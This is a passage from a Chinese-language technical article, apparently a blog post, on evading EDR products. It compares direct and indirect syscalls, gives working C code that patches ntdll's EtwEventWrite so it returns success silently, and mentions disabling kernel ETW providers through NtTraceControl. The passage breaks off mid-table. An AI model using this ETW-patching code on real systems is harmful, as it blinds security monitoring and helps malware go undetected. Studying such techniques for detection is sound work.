left;"><p><span leaf="">对比维度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Direct Syscall</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">Indirect Syscall</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">syscall执行位置</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">攻击代码自身（未知内存区域）</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll.dll 内部（合法地址范围）</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">返回地址(RIP)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">指向未知内存 → EDR栈回溯可标记</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">指向ntdll.dll → 调用栈看起来合法</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ETW TI Provider</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">可检测syscall来源不在ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">syscall来源在ntdll范围内</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用栈回溯</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">立即暴露（RIP ∉ 已知模块）</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">需深度分析才能识别</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">实现复杂度</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">较低（仅需SSN+syscall指令）</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">中等（需定位ntdll中syscall指令地址）</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">兼容性</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">高（任何Windows版本）</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">中（需扫描ntdll找到syscall;ret序列）</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">绕过Hook能力</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅ 完全绕过用户态Hook</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅ 完全绕过用户态Hook</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">代表工具</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SysWhispers3, Hell&#39;s Gate</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SysWhispers2/3 (indirect模式)</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3 ETW 补丁技术</span></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3.1 用户态 ETW 补丁</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">定位 ntdll.dll 中的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">EtwEventWrite</span></code><span leaf=""> 函数，修改其开头字节使其直接返回：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 将EtwEventWrite修改为 xor eax,eax; ret (返回STATUS_SUCCESS)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 比直接写ret(0xC3)更隐蔽, 调用者不会因返回值异常而报错</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PatchEtwReturnSuccess</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    FARPROC pFunc = GetProcAddress(GetModuleHandleA(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ntdll.dll&#34;</span></span><span leaf="">), </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;EtwEventWrite&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pFunc, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">    BYTE patch[] = { </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x31</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC3</span></span><span leaf=""> };  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// xor eax,eax; ret</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">memcpy</span></span><span leaf="">(pFunc, patch, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(patch));</span><span leaf=""><br/></span><span leaf="">    VirtualProtect(pFunc, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, oldProtect, &amp;oldProtect);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3.2 内核态 ETW 禁用</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">NtTraceControl</span></code><span leaf=""> 系统调用禁用特定 ETW Provider，比用户态 patch 更底层且不易被检测。需要管理员权限，可系统级禁用 Threat-Intelligence 等关键 Provider。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ETW 对抗方案对比：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">方案</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">作用层级</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">覆盖范围</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">隐蔽性</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">持久性</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">风险</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">用户态ret patch</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">用户态</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 